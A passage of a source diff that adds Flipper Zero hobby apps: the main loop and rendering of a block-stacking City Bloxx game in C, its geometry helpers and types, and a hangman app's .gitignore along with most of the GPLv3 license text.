+Point ground_point;
+
+Block falling_block;
+
+float ticks;
+float fall_tick;
+
+float x_velocity;
+
+uint16_t score;
+
+static void inc_tick(void* ctx) {
+    UNUSED(ctx);
+
+    ticks += TICK_VALUE;
+}
+
+static void fall(void* ctx) {
+    UNUSED(ctx);
+
+    line_group_translate(
+        falling_block.lines, falling_block.count, x_velocity, G_CONSTANT * (ticks - fall_tick));
+
+    Point center = line_group_get_center(falling_block.lines, falling_block.count);
+    if(center.y >= base + house_block_height / 2) {
+        // If we hit the ground or another block
+        score++;
+
+        if(block_list_i == BLOCK_COUNT) {
+            free(block_list[0].lines);
+            for(uint16_t i = 0; i < block_list_i - 1; i++) block_list[i] = block_list[i + 1];
+            block_list_i--;
+        }
+        if(block_list_i == 0) {
+            // First block ever
+            balance_base = center.x;
+        } else {
+            // Checking if we are misaligned
+            Point center_last = line_group_get_center(
+                block_list[block_list_i - 1].lines, block_list[block_list_i - 1].count);
+            if(abs(center_last.x - center.x) > 6) {
+                // Playing the game over sound
+                NotificationApp* notification_app = furi_record_open(RECORD_NOTIFICATION);
+                notification_message(notification_app, &sequence_error);
+                furi_record_close(RECORD_NOTIFICATION);
+
+                game_over = true;
+            }
+        }
+        balance_sum += center.x;
+        balance_count++;
+        line_group_translate(
+            falling_block.lines,
+            falling_block.count,
+            0,
+            (base + house_block_height / 2) - center.y);
+        block_list[block_list_i] = falling_block;
+        falling_block.count = 0;
+        block_list_i++;
+    }
+}
+
+static void render_line(Canvas* canvas, Line line) {
+    canvas_draw_line(canvas, line.a.x, line.a.y, line.b.x, line.b.y);
+}
+
+static void render_line_group(Canvas* canvas, Line* line_group, uint8_t count) {
+    for(uint8_t i = 0; i < count; i++) render_line(canvas, line_group[i]);
+}
+
+static Block get_house_i() {
+    const float rotation = ROTATION;
+
+    Block house = get_house();
+    line_group_translate(house.lines, house.count, bottom.x, bottom.y);
+    line_group_rotate(house.lines, house.count, top, rotation);
+    return house;
+}
+
+static Block get_crane_i() {
+    const float rotation = ROTATION;
+
+    Block crane = get_crane();
+    line_group_translate(crane.lines, crane.count, top.x, top.y);
+    line_group_rotate(crane.lines, crane.count, top, rotation);
+    return crane;
+}
+
+static Block get_ground_i() {
+    Block ground = get_ground();
+    line_group_translate(ground.lines, ground.count, ground_point.x, ground_point.y);
+    return ground;
+}
+
+static void release_block() {
+    if(falling_block.count != 0) return;
+    ground_point.y += 30;
+
+    fall_tick = ticks;
+
+    const float rotation = ROTATION;
+    x_velocity = ROTATION_DIFF * -100; // The error here is insignificant enough
+
+    falling_block = get_house_i();
+    line_group_rotate_center(falling_block.lines, falling_block.count, -rotation);
+
+    for(uint16_t i = 0; i < block_list_i; i++)
+        line_group_translate(block_list[i].lines, block_list[i].count, 0, house_block_height);
+}
+
+// Screen is 128x64 px
+static void app_draw_callback(Canvas* canvas, void* ctx) {
+    UNUSED(ctx);
+
+    canvas_set_font(canvas, FontPrimary);
+
+    if(exiting) return;
+
+    if(game_over) {
+        canvas_draw_str(canvas, 2, 70, "Game over");
+        return;
+    }
+
+    canvas_clear(canvas);
+
+    canvas_draw_frame(canvas, 0, 0, 64, 128);
+
+    if(falling_block.count == 0) {
+        Block house = get_house_i();
+        render_line_group(canvas, house.lines, house.count);
+        free(house.lines);
+    }
+
+    Block crane = get_crane_i();
+    render_line_group(canvas, crane.lines, crane.count);
+    free(crane.lines);
+
+    if(ground_point.y < 128) {
+        Block ground = get_ground_i();
+        render_line_group(canvas, ground.lines, ground.count);
+        free(ground.lines);
+    }
+
+    if(falling_block.count != 0)
+        render_line_group(canvas, falling_block.lines, falling_block.count);
+
+    const Point rot_base = {balance_base, base};
+
+    Block* block_list_copy = malloc(sizeof(Block) * BLOCK_COUNT);
+    const int16_t deg = BALANCE_VALUE / 4;
+    for(uint16_t i = 0; i < block_list_i; i++) {
+        block_list_copy[i] = block_list[i];
+        size_t size = sizeof(Line) * HOUSE_LINE_CO;
+        block_list_copy[i].lines = malloc(size);
+        memcpy(block_list_copy[i].lines, block_list[i].lines, size);
+        line_group_rotate(block_list_copy[i].lines, block_list_copy[i].count, rot_base, deg);
+    }
+
+    for(uint16_t i = 0; i < block_list_i; i++)
+        render_line_group(canvas, block_list_copy[i].lines, block_list_copy[i].count);
+
+    for(uint16_t i = 0; i < block_list_i; i++) free(block_list_copy[i].lines);
+    free(block_list_copy);
+
+    FuriString* str = furi_string_alloc();
+    furi_string_printf(str, "%hu", score);
+    canvas_draw_str(canvas, 4, 16, furi_string_get_cstr(str));
+    furi_string_free(str);
+}
+
+static void app_input_callback(InputEvent* input_event, void* ctx) {
+    furi_assert(ctx);
+
+    FuriMessageQueue* event_queue = ctx;
+    furi_message_queue_put(event_queue, input_event, FuriWaitForever);
+}
+
+static void restart() {
+    block_list = malloc(sizeof(Block) * BLOCK_COUNT);
+
+    block_list_i = 0;
+
+    balance_base = 0;
+    balance_sum = 0;
+    balance_count = 0;
+
+    top.x = 32;
+    top.y = 0;
+    bottom.x = top.x;
+    bottom.y = top.y + 15;
+    ground_point.x = 32;
+    ground_point.y = base;
+
+    falling_block.count = 0;
+    falling_block.lines = NULL;
+
+    ticks = 0;
+    fall_tick = 0;
+
+    x_velocity = 0;
+
+    score = 0;
+
+    game_over = false;
+}
+
+int32_t citybloxx_main(void* p) {
+    UNUSED(p);
+
+    FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(InputEvent));
+
+    // Configure view port
+    ViewPort* view_port = view_port_alloc();
+    view_port_draw_callback_set(view_port, app_draw_callback, view_port);
+    view_port_input_callback_set(view_port, app_input_callback, event_queue);
+    view_port_set_orientation(view_port, ViewPortOrientationVertical);
+
+    // Register view port in GUI
+    Gui* gui = furi_record_open(RECORD_GUI);
+    gui_add_view_port(gui, view_port, GuiLayerFullscreen);
+
+    InputEvent event;
+
+    restart();
+
+    FuriTimer* timer = furi_timer_alloc(inc_tick, FuriTimerTypePeriodic, NULL);
+    furi_timer_start(timer, 1);
+    FuriTimer* fall_timer = furi_timer_alloc(fall, FuriTimerTypePeriodic, NULL);
+    furi_timer_start(fall_timer, 100);
+
+    bool running = true;
+    while(running) {
+        if(furi_message_queue_get(event_queue, &event, 100) == FuriStatusOk) {
+            if(event.type == InputTypeLong && event.key == InputKeyBack) running = false;
+            if(event.type == InputTypePress && event.key == InputKeyOk)
+                (game_over ? restart() : release_block());
+        }
+        view_port_update(view_port);
+    }
+
+    exiting = true;
+
+    for(uint16_t i = 0; i < block_list_i; i++) free(block_list[i].lines);
+    free(block_list);
+
+    furi_timer_stop(timer);
+    furi_timer_free(timer);
+    furi_timer_stop(fall_timer);
+    furi_timer_free(fall_timer);
+
+    view_port_enabled_set(view_port, false);
+    gui_remove_view_port(gui, view_port);
+    view_port_free(view_port);
+    furi_message_queue_free(event_queue);
+
+    furi_record_close(RECORD_GUI);
+
+    return 0;
+}

BIN
non_catalog_apps/citybloxx/icon.png


+ 69 - 0
non_catalog_apps/citybloxx/manipulations.c

@@ -0,0 +1,69 @@
+#include "manipulations.h"
+
+#include <math.h>
+#ifndef M_PI
+#define M_PI 3.14159265358979323846264338327950288
+#endif
+#include <furi.h>
+
+#define DEG_TO_RAD(deg) ((deg)*M_PI / 180.0)
+
+#define MIN3(a, b, c) MIN(MIN((a), (b)), (c))
+#define MAX3(a, b, c) MAX(MAX((a), (b)), (c))
+
+void point_translate(Point* point, int32_t x, int32_t y) {
+    point->x += x;
+    point->y += y;
+}
+void point_rotate(Point* point, Point around, float deg) {
+    float rad = DEG_TO_RAD(deg);
+    float s = sin(rad);
+    float c = cos(rad);
+    int32_t dx = point->x - around.x;
+    int32_t dy = point->y - around.y;
+
+    point->x = c * dx - s * dy;
+    point->y = s * dx + c * dy;
+
+    point->x += around.x;
+    point->y += around.y;
+}
+
+void line_translate(Line* line, int32_t x, int32_t y) {
+    point_translate(&line->a, x, y);
+    point_translate(&line->b, x, y);
+}
+void line_rotate(Line* line, Point around, float deg) {
+    point_rotate(&line->a, around, deg);
+    point_rotate(&line->b, around, deg);
+}
+
+void line_group_translate(Line* line_group, uint8_t count, int32_t x, int32_t y) {
+    for(uint8_t i = 0; i < count; i++) line_translate(&line_group[i], x, y);
+}
+void line_group_rotate(Line* line_group, uint8_t count, Point around, float deg) {
+    for(uint8_t i = 0; i < count; i++) line_rotate(&line_group[i], around, deg);
+}
+Point line_group_get_center(Line* line_group, uint8_t count) {
+    // Finding the corners
+    int32_t min_x = INT32_MAX, min_y = INT32_MAX, max_x = INT32_MIN, max_y = INT32_MIN;
+    for(uint8_t i = 0; i < count; i++) {
+        min_x = MIN3(min_x, line_group[i].a.x, line_group[i].b.x);
+        min_y = MIN3(min_y, line_group[i].a.y, line_group[i].b.y);
+        max_x = MAX3(max_x, line_group[i].a.x, line_group[i].b.x);
+        max_y = MAX3(max_y, line_group[i].a.y, line_group[i].b.y);
+    }
+    // Finding the center
+    int32_t center_x = (min_x + max_x) / 2;
+    int32_t center_y = (min_y + max_y) / 2;
+    const Point center = {center_x, center_y};
+
+    return center;
+}
+Point line_group_rotate_center(Line* line_group, uint8_t count, float deg) {
+    const Point center = line_group_get_center(line_group, count);
+
+    // Rotating around the center
+    line_group_rotate(line_group, count, center, deg);
+    return center;
+}

+ 13 - 0
non_catalog_apps/citybloxx/manipulations.h

@@ -0,0 +1,13 @@
+#pragma once
+#include "types.h"
+
+void point_translate(Point* point, int32_t x, int32_t y);
+void point_rotate(Point* point, Point around, float deg);
+
+void line_translate(Line* line, int32_t x, int32_t y);
+void line_rotate(Line* line, Point around, float deg);
+
+void line_group_translate(Line* line_group, uint8_t count, int32_t x, int32_t y);
+void line_group_rotate(Line* line_group, uint8_t count, Point around, float deg);
+Point line_group_get_center(Line* line_group, uint8_t count);
+Point line_group_rotate_center(Line* line_group, uint8_t count, float deg);

BIN
non_catalog_apps/citybloxx/screenshots/1.png


+ 12 - 0
non_catalog_apps/citybloxx/types.h

@@ -0,0 +1,12 @@
+#pragma once
+#include <stdint.h>
+
+typedef struct {
+    int32_t x;
+    int32_t y;
+} Point;
+
+typedef struct {
+    Point a;
+    Point b;
+} Line;

+ 5 - 0
non_catalog_apps/hangman_game/.gitignore

@@ -0,0 +1,5 @@
+.vscode/
+dist/
+.clang-format
+venv/
+.DS_Store

+ 674 - 0
non_catalog_apps/hangman_game/LICENSE

@@ -0,0 +1,674 @@
+                    GNU GENERAL PUBLIC LICENSE
+                       Version 3, 29 June 2007
+
+ Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
+ Everyone is permitted to copy and distribute verbatim copies
+ of this license document, but changing it is not allowed.
+
+                            Preamble
+
+  The GNU General Public License is a free, copyleft license for
+software and other kinds of works.
+
+  The licenses for most software and other practical works are designed
+to take away your freedom to share and change the works.  By contrast,
+the GNU General Public License is intended to guarantee your freedom to
+share and change all versions of a program--to make sure it remains free
+software for all its users.  We, the Free Software Foundation, use the
+GNU General Public License for most of our software; it applies also to
+any other work released this way by its authors.  You can apply it to
+your programs, too.
+
+  When we speak of free software, we are referring to freedom, not
+price.  Our General Public Licenses are designed to make sure that you
+have the freedom to distribute copies of free software (and charge for
+them if you wish), that you receive source code or can get it if you
+want it, that you can change the software or use pieces of it in new
+free programs, and that you know you can do these things.
+
+  To protect your rights, we need to prevent others from denying you
+these rights or asking you to surrender the rights.  Therefore, you have
+certain responsibilities if you distribute copies of the software, or if
+you modify it: responsibilities to respect the freedom of others.
+
+  For example, if you distribute copies of such a program, whether
+gratis or for a fee, you must pass on to the recipients the same
+freedoms that you received.  You must make sure that they, too, receive
+or can get the source code.  And you must show them these terms so they
+know their rights.
+
+  Developers that use the GNU GPL protect your rights with two steps:
+(1) assert copyright on the software, and (2) offer you this License
+giving you legal permission to copy, distribute and/or modify it.
+
+  For the developers' and authors' protection, the GPL clearly explains
+that there is no warranty for this free software.  For both users' and
+authors' sake, the GPL requires that modified versions be marked as
+changed, so that their problems will not be attributed erroneously to
+authors of previous versions.
+
+  Some devices are designed to deny users access to install or run
+modified versions of the software inside them, although the manufacturer
+can do so.  This is fundamentally incompatible with the aim of
+protecting users' freedom to change the software.  The systematic
+pattern of such abuse occurs in the area of products for individuals to
+use, which is precisely where it is most unacceptable.  Therefore, we
+have designed this version of the GPL to prohibit the practice for those
+products.  If such problems arise substantially in other domains, we
+stand ready to extend this provision to those domains in future versions
+of the GPL, as needed to protect the freedom of users.
+
+  Finally, every program is threatened constantly by software patents.
+States should not allow patents to restrict development and use of
+software on general-purpose computers, but in those that do, we wish to
+avoid the special danger that patents applied to a free program could
+make it effectively proprietary.  To prevent this, the GPL assures that
+patents cannot be used to render the program non-free.
+
+  The precise terms and conditions for copying, distribution and
+modification follow.
+
+                       TERMS AND CONDITIONS
+
+  0. Definitions.
+
+  "This License" refers to version 3 of the GNU General Public License.
+
+  "Copyright" also means copyright-like laws that apply to other kinds of
+works, such as semiconductor masks.
+
+  "The Program" refers to any copyrightable work licensed under this
+License.  Each licensee is addressed as "you".  "Licensees" and
+"recipients" may be individuals or organizations.
+
+  To "modify" a work means to copy from or adapt all or part of the work
+in a fashion requiring copyright permission, other than the making of an
+exact copy.  The resulting work is called a "modified version" of the
+earlier work or a work "based on" the earlier work.
+
+  A "covered work" means either the unmodified Program or a work based
+on the Program.
+
+  To "propagate" a work means to do anything with it that, without
+permission, would make you directly or secondarily liable for
+infringement under applicable copyright law, except executing it on a
+computer or modifying a private copy.  Propagation includes copying,
+distribution (with or without modification), making available to the
+public, and in some countries other activities as well.
+
+  To "convey" a work means any kind of propagation that enables other
+parties to make or receive copies.  Mere interaction with a user through
+a computer network, with no transfer of a copy, is not conveying.
+
+  An interactive user interface displays "Appropriate Legal Notices"
+to the extent that it includes a convenient and prominently visible
+feature that (1) displays an appropriate copyright notice, and (2)
+tells the user that there is no warranty for the work (except to the
+extent that warranties are provided), that licensees may convey the
+work under this License, and how to view a copy of this License.  If
+the interface presents a list of user commands or options, such as a
+menu, a prominent item in the list meets this criterion.
+
+  1. Source Code.
+
+  The "source code" for a work means the preferred form of the work
+for making modifications to it.  "Object code" means any non-source
+form of a work.
+
+  A "Standard Interface" means an interface that either is an official
+standard defined by a recognized standards body, or, in the case of
+interfaces specified for a particular programming language, one that
+is widely used among developers working in that language.
+
+  The "System Libraries" of an executable work include anything, other
+than the work as a whole, that (a) is included in the normal form of
+packaging a Major Component, but which is not part of that Major
+Component, and (b) serves only to enable use of the work with that
+Major Component, or to implement a Standard Interface for which an
+implementation is available to the public in source code form.  A
+"Major Component", in this context, means a major essential component
+(kernel, window system, and so on) of the specific operating system
+(if any) on which the executable work runs, or a compiler used to
+produce the work, or an object code interpreter used to run it.
+
+  The "Corresponding Source" for a work in object code form means all
+the source code needed to generate, install, and (for an executable
+work) run the object code and to modify the work, including scripts to
+control those activities.  However, it does not include the work's
+System Libraries, or general-purpose tools or generally available free
+programs which are used unmodified in performing those activities but
+which are not part of the work.  For example, Corresponding Source
+includes interface definition files associated with source files for
+the work, and the source code for shared libraries and dynamically
+linked subprograms that the work is specifically designed to require,
+such as by intimate data communication or control flow between those
+subprograms and other parts of the work.
+
+  The Corresponding Source need not include anything that users
+can regenerate automatically from other parts of the Corresponding
+Source.
+
+  The Corresponding Source for a work in source code form is that
+same work.
+
+  2. Basic Permissions.
+
+  All rights granted under this License are granted for the term of
+copyright on the Program, and are irrevocable provided the stated
+conditions are met.  This License explicitly affirms your unlimited
+permission to run the unmodified Program.  The output from running a
+covered work is covered by this License only if the output, given its
+content, constitutes a covered work.  This License acknowledges your
+rights of fair use or other equivalent, as provided by copyright law.
+
+  You may make, run and propagate covered works that you do not
+convey, without conditions so long as your license otherwise remains
+in force.  You may convey covered works to others for the sole purpose
+of having them make modifications exclusively for you, or provide you
+with facilities for running those works, provided that you comply with
+the terms of this License in conveying all material for which you do
+not control copyright.  Those thus making or running the covered works
+for you must do so exclusively on your behalf, under your direction
+and control, on terms that prohibit them from making any copies of
+your copyrighted material outside their relationship with you.
+
+  Conveying under any other circumstances is permitted solely under
+the conditions stated below.  Sublicensing is not allowed; section 10
+makes it unnecessary.
+
+  3. Protecting Users' Legal Rights From Anti-Circumvention Law.
+
+  No covered work shall be deemed part of an effective technological
+measure under any applicable law fulfilling obligations under article
+11 of the WIPO copyright treaty adopted on 20 December 1996, or
+similar laws prohibiting or restricting circumvention of such
+measures.
+
+  When you convey a covered work, you waive any legal power to forbid
+circumvention of technological measures to the extent such circumvention
+is effected by exercising rights under this License with respect to
+the covered work, and you disclaim any intention to limit operation or
+modification of the work as a means of enforcing, against the work's
+users, your or third parties' legal rights to forbid circumvention of
+technological measures.
+
+  4. Conveying Verbatim Copies.
+
+  You may convey verbatim copies of the Program's source code as you
+receive it, in any medium, provided that you conspicuously and
+appropriately publish on each copy an appropriate copyright notice;
+keep intact all notices stating that this License and any
+non-permissive terms added in accord with section 7 apply to the code;
+keep intact all notices of the absence of any warranty; and give all
+recipients a copy of this License along with the Program.
+
+  You may charge any price or no price for each copy that you convey,
+and you may offer support or warranty protection for a fee.
+
+  5. Conveying Modified Source Versions.
+
+  You may convey a work based on the Program, or the modifications to
+produce it from the Program, in the form of source code under the
+terms of section 4, provided that you also meet all of these conditions:
+
+    a) The work must carry prominent notices stating that you modified
+    it, and giving a relevant date.
+
+    b) The work must carry prominent notices stating that it is
+    released under this License and any conditions added under section
+    7.  This requirement modifies the requirement in section 4 to
+    "keep intact all notices".
+
+    c) You must license the entire work, as a whole, under this
+    License to anyone who comes into possession of a copy.  This
+    License will therefore apply, along with any applicable section 7
+    additional terms, to the whole of the work, and all its parts,
+    regardless of how they are packaged.  This License gives no
+    permission to license the work in any other way, but it does not
+    invalidate such permission if you have separately received it.
+
+    d) If the work has interactive user interfaces, each must display
+    Appropriate Legal Notices; however, if the Program has interactive
+    interfaces that do not display Appropriate Legal Notices, your
+    work need not make them do so.
+
+  A compilation of a covered work with other separate and independent
+works, which are not by their nature extensions of the covered work,
+and which are not combined with it such as to form a larger program,
+in or on a volume of a storage or distribution medium, is called an
+"aggregate" if the compilation and its resulting copyright are not
+used to limit the access or legal rights of the compilation's users
+beyond what the individual works permit.  Inclusion of a covered work
+in an aggregate does not cause this License to apply to the other
+parts of the aggregate.
+
+  6. Conveying Non-Source Forms.
+
+  You may convey a covered work in object code form under the terms
+of sections 4 and 5, provided that you also convey the
+machine-readable Corresponding Source under the terms of this License,
+in one of these ways:
+
+    a) Convey the object code in, or embodied in, a physical product
+    (including a physical distribution medium), accompanied by the
+    Corresponding Source fixed on a durable physical medium
+    customarily used for software interchange.
+
+    b) Convey the object code in, or embodied in, a physical product
+    (including a physical distribution medium), accompanied by a
+    written offer, valid for at least three years and valid for as
+    long as you offer spare parts or customer support for that product
+    model, to give anyone who possesses the object code either (1) a
+    copy of the Corresponding Source for all the software in the
+    product that is covered by this License, on a durable physical
+    medium customarily used for software interchange, for a price no
+    more than your reasonable cost of physically performing this
+    conveying of source, or (2) access to copy the
+    Corresponding Source from a network server at no charge.
+
+    c) Convey individual copies of the object code with a copy of the
+    written offer to provide the Corresponding Source.  This
+    alternative is allowed only occasionally and noncommercially, and
+    only if you received the object code with such an offer, in accord
+    with subsection 6b.
+
+    d) Convey the object code by offering access from a designated
+    place (gratis or for a charge), and offer equivalent access to the
+    Corresponding Source in the same way through the same place at no
+    further charge.  You need not require recipients to copy the
+    Corresponding Source along with the object code.  If the place to
+    copy the object code is a network server, the Corresponding Source
+    may be on a different server (operated by you or a third party)
+    that supports equivalent copying facilities, provided you maintain
+    clear directions next to the object code saying where to find the
+    Corresponding Source.  Regardless of what server hosts the
+    Corresponding Source, you remain obligated to ensure that it is
+    available for as long as needed to satisfy these requirements.
+
+    e) Convey the object code using peer-to-peer transmission, provided
+    you inform other peers where the object code and Corresponding
+    Source of the work are being offered to the general public at no
+    charge under subsection 6d.
+
+  A separable portion of the object code, whose source code is excluded
+from the Corresponding Source as a System Library, need not be
+included in conveying the object code work.
+
+  A "User Product" is either (1) a "consumer product", which means any
+tangible personal property which is normally used for personal, family,
+or household purposes, or (2) anything designed or sold for incorporation
+into a dwelling.  In determining whether a product is a consumer product,
+doubtful cases shall be resolved in favor of coverage.  For a particular
+product received by a particular user, "normally used" refers to a
+typical or common use of that class of product, regardless of the status
+of the particular user or of the way in which the particular user
+actually uses, or expects or is expected to use, the product.  A product
+is a consumer product regardless of whether the product has substantial
+commercial, industrial or non-consumer uses, unless such uses represent
+the only significant mode of use of the product.
+
+  "Installation Information" for a User Product means any methods,
+procedures, authorization keys, or other information required to install
+and execute modified versions of a covered work in that User Product from
+a modified version of its Corresponding Source.  The information must
+suffice to ensure that the continued functioning of the modified object
+code is in no case prevented or interfered with solely because
+modification has been made.
+
+  If you convey an object code work under this section in, or with, or
+specifically for use in, a User Product, and the conveying occurs as
+part of a transaction in which the right of possession and use of the
+User Product is transferred to the recipient in perpetuity or for a
+fixed term (regardless of how the transaction is characterized), the
+Corresponding Source conveyed under this section must be accompanied
+by the Installation Information.  But this requirement does not apply
+if neither you nor any third party retains the ability to install
+modified object code on the User Product (for example, the work has
+been installed in ROM).
+
+  The requirement to provide Installation Information does not include a
+requirement to continue to provide support service, warranty, or updates
+for a work that has been modified or installed by the recipient, or for
+the User Product in which it has been modified or installed.  Access to a
+network may be denied when the modification itself materially and
+adversely affects the operation of the network or violates the rules and
+protocols for communication across the network.
+
+  Corresponding Source conveyed, and Installation Information provided,
+in accord with this section must be in a format that is publicly
+documented (and with an implementation available to the public in
+source code form), and must require no special password or key for
+unpacking, reading or copying.
+
+  7. Additional Terms.
+
+  "Additional permissions" are terms that supplement the terms of this
+License by making exceptions from one or more of its conditions.
+Additional permissions that are applicable to the entire Program shall
+be treated as though they were included in this License, to the extent
+that they are valid under applicable law.  If additional permissions
+apply only to part of the Program, that part may be used separately
+under those permissions, but the entire Program remains governed by
+this License without regard to the additional permissions.
+
+  When you convey a copy of a covered work, you may at your option
+remove any additional permissions from that copy, or from any part of
+it.  (Additional permissions may be written to require their own
+removal in certain cases when you modify the work.)  You may place
+additional permissions on material, added by you to a covered work,
+for which you have or can give appropriate copyright permission.
+
+  Notwithstanding any other provision of this License, for material you
+add to a covered work, you may (if authorized by the copyright holders of
+that material) supplement the terms of this License with terms:
+
+    a) Disclaiming warranty or limiting liability differently from the
+    terms of sections 15 and 16 of this License; or
+
+    b) Requiring preservation of specified reasonable legal notices or
+    author attributions in that material or in the Appropriate Legal
+    Notices displayed by works containing it; or
+
+    c) Prohibiting misrepresentation of the origin of that material, or
+    requiring that modified versions of such material be marked in
+    reasonable ways as different from the original version; or
+
+    d) Limiting the use for publicity purposes of names of licensors or
+    authors of the material; or
+
+    e) Declining to grant rights under trademark law for use of some
+    trade names, trademarks, or service marks; or
+
+    f) Requiring indemnification of licensors and authors of that
+    material by anyone who conveys the material (or modified versions of
+    it) with contractual assumptions of liability to the recipient, for
+    any liability that these contractual assumptions directly impose on
+    those licensors and authors.
+
+  All other non-permissive additional terms are considered "further
+restrictions" within the meaning of section 10.  If the Program as you
+received it, or any part of it, contains a notice stating that it is
+governed by this License along with a term that is a further
+restriction, you may remove that term.  If a license document contains
+a further restriction but permits relicensing or conveying under this
+License, you may add to a covered work material governed by the terms
+of that license document, provided that the further restriction does
+not survive such relicensing or conveying.
+
+  If you add terms to a covered work in accord with this section, you
+must place, in the relevant source files, a statement of the
+additional terms that apply to those files, or a notice indicating
+where to find the applicable terms.
+
+  Additional terms, permissive or non-permissive, may be stated in the
+form of a separately written license, or stated as exceptions;
+the above requirements apply either way.
+
+  8. Termination.
+
+  You may not propagate or modify a covered work except as expressly
+provided under this License.  Any attempt otherwise to propagate or
+modify it is void, and will automatically terminate your rights under
+this License (including any patent licenses granted under the third
+paragraph of section 11).
+
+  However, if you cease all violation of this License, then your
+license from a particular copyright holder is reinstated (a)
+provisionally, unless and until the copyright holder explicitly and
+finally terminates your license, and (b) permanently, if the copyright
+holder fails to notify you of the violation by some reasonable means
+prior to 60 days after the cessation.
+
+  Moreover, your license from a particular copyright holder is
+reinstated permanently if the copyright holder notifies you of the
+violation by some reasonable means, this is the first time you have
+received notice of violation of this License (for any work) from that
+copyright holder, and you cure the violation prior to 30 days after
+your receipt of the notice.
+
+  Termination of your rights under this section does not terminate the
+licenses of parties who have received copies or rights from you under
+this License.  If your rights have been terminated and not permanently
+reinstated, you do not qualify to receive new licenses for the same
+material under section 10.
+
+  9. Acceptance Not Required for Having Copies.
+
+  You are not required to accept this License in order to receive or
+run a copy of the Program.  Ancillary propagation of a covered work
+occurring solely as a consequence of using peer-to-peer transmission
+to receive a copy likewise does not require acceptance.  However,
+nothing other than this License grants you permission to propagate or
+modify any covered work.  These actions infringe copyright if you do
+not accept this License.  Therefore, by modifying or propagating a
+covered work, you indicate your acceptance of this License to do so.
+
+  10. Automatic Licensing of Downstream Recipients.
+
+  Each time you convey a covered work, the recipient automatically
+receives a license from the original licensors, to run, modify and
+propagate that work, subject to this License.  You are not responsible
+for enforcing compliance by third parties with this License.
+
+  An "entity transaction" is a transaction transferring control of an
+organization, or substantially all assets of one, or subdividing an
+organization, or merging organizations.  If propagation of a covered
+work results from an entity transaction, each party to that
+transaction who receives a copy of the work also receives whatever
+licenses to the work the party's predecessor in interest had or could
+give under the previous paragraph, plus a right to possession of the
+Corresponding Source of the work from the predecessor in interest, if
+the predecessor has it or can get it with reasonable efforts.
+
+  You may not impose any further restrictions on the exercise of the
+rights granted or affirmed under this License.  For example, you may
+not impose a license fee, royalty, or other charge for exercise of
+rights granted under this License, and you may not initiate litigation
+(including a cross-claim or counterclaim in a lawsuit) alleging that
+any patent claim is infringed by making, using, selling, offering for
+sale, or importing the Program or any portion of it.
+
+  11. Patents.
+
+  A "contributor" is a copyright holder who authorizes use under this
+License of the Program or a work on which the Program is based.  The
+work thus licensed is called the contributor's "contributor version".
+
+  A contributor's "essential patent claims" are all patent claims
+owned or controlled by the contributor, whether already acquired or
+hereafter acquired, that would be infringed by some manner, permitted
+by this License, of making, using, or selling its contributor version,
+but do not include claims that would be infringed only as a
+consequence of further modification of the contributor version.  For
+purposes of this definition, "control" includes the right to grant
+patent sublicenses in a manner consistent with the requirements of
+this License.
+
+  Each contributor grants you a non-exclusive, worldwide, royalty-free
+patent license under the contributor's essential patent claims, to
+make, use, sell, offer for sale, import and otherwise run, modify and
+propagate the contents of its contributor version.
+
+  In the following three paragraphs, a "patent license" is any express
+agreement or commitment, however denominated, not to enforce a patent
+(such as an express permission to practice a patent or covenant not to
+sue for patent infringement).  To "grant" such a patent license to a
+party means to make such an agreement or commitment not to enforce a
+patent against the party.
+
+  If you convey a covered work, knowingly relying on a patent license,
+and the Corresponding Source of the work is not available for anyone
+to copy, free of charge and under the terms of this License, through a
+publicly available network server or other readily accessible means,
+then you must either (1) cause the Corresponding Source to be so
+available, or (2) arrange to deprive yourself of the benefit of the
+patent license for this particular work, or (3) arrange, in a manner
+consistent with the requirements of this License, to extend the patent
+license to downstream recipients.  "Knowingly relying" means you have
+actual knowledge that, but for the patent license, your conveying the
+covered work in a country, or your recipient's use of the covered work
+in a country, would infringe one or more identifiable patents in that
+country that you have reason to believe are valid.
+
+  If, pursuant to or in connection with a single transaction or
+arrangement, you convey, or propagate by procuring conveyance of, a
+covered work, and grant a patent license to some of the parties
+receiving the covered work authorizing them to use, propagate, modify
+or convey a specific copy of the covered work, then the patent license
+you grant is automatically extended to all recipients of the covered
+work and works based on it.
+
+  A patent license is "discriminatory" if it does not include within
+the scope of its coverage, prohibits the exercise of, or is
+conditioned on the non-exercise of one or more of the rights that are
+specifically granted under this License.  You may not convey a covered
+work if you are a party to an arrangement with a third party that is
+in the business of distributing software, under which you make payment
+to the third party based on the extent of your activity of conveying
+the work, and under which the third party grants, to any of the
+parties who would receive the covered work from you, a discriminatory
+patent license (a) in connection with copies of the covered work
+conveyed by you (or copies made from those copies), or (b) primarily
+for and in connection with specific products or compilations that
+contain the covered work, unless you entered into that arrangement,
+or that patent license was granted, prior to 28 March 2007.
+
+  Nothing in this License shall be construed as excluding or limiting
+any implied license or other defenses to infringement that may
+otherwise be available to you under applicable patent law.
+
+  12. No Surrender of Others' Freedom.
+
+  If conditions are imposed on you (whether by court order, agreement or
+otherwise) that contradict the conditions of this License, they do not
+excuse you from the conditions of this License.  If you cannot convey a
+covered work so as to satisfy simultaneously your obligations under this
+License and any other pertinent obligations, then as a consequence you may
+not convey it at all.  For example, if you agree to terms that obligate you
+to collect a royalty for further conveying from those to whom you convey
+the Program, the only way you could satisfy both those terms and this
+License would be to refrain entirely from conveying the Program.
+
+  13. Use with the GNU Affero General Public License.
+
+  Notwithstanding any other provision of this License, you have
+permission to link or combine any covered work with a work licensed
+under version 3 of the GNU Affero General Public License into a single
+combined work, and to convey the resulting work.  The terms of this
+License will continue to apply to the part which is the covered work,
+but the special requirements of the GNU Affero General Public License,
+section 13, concerning interaction through a network will apply to the
+combination as such.
+
+  14. Revised Versions of this License.
+
+  The Free Software Foundation may publish revised and/or new versions of
+the GNU General Public License from time to time.  Such new versions will
+be similar in spirit to the present version, but may differ in detail to
+address new problems or concerns.
+
+  Each version is given a distinguishing version number.  If the
+Program specifies that a certain numbered version of the GNU General
+Public License "or any later version" applies to it, you have the
+option of following the terms and conditions either of that numbered
+version or of any later version published by the Free Software
+Foundation.  If the Program does not specify a version number of the
+GNU General Public License, you may choose any version ever published
+by the Free Software Foundation.
+
+  If the Program specifies that a proxy can decide which future
+versions of the GNU General Public License can be used, that proxy's
+public statement of acceptance of a version permanently authorizes you
+to choose that version for the Program.
+
+  Later license versions may give you additional or different
+permissions.  However, no additional obligations are imposed on any
+author or copyright holder as a result of your choosing to follow a
+later version.
+
+  15. Disclaimer of Warranty.
+
